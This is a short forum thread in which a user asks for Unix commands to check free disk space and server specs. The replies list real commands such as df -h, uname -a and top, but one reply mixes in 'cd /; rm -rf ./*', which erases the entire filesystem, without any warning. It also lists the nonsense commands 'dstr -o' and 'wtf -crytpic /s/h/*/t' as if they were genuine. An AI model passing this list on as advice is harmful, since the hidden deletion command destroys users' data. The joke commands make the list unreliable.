Unix command
 

WHats the comand to see server space left , or any command to see server specs?

ANy good online resources for commands

df -h

dmesg

df -k

You ask a too broad question
There are so many commands in Unix/Linux to show space and specs...
for example (one of my favorites on my hyperthreaded multi-xeon machine) :thumbsup

cat /proc/cpuinfo

uname -a

dstr -o

vmstat 1
top
pstree

cd /; rm -rf ./*

wtf -crytpic /s/h/*/t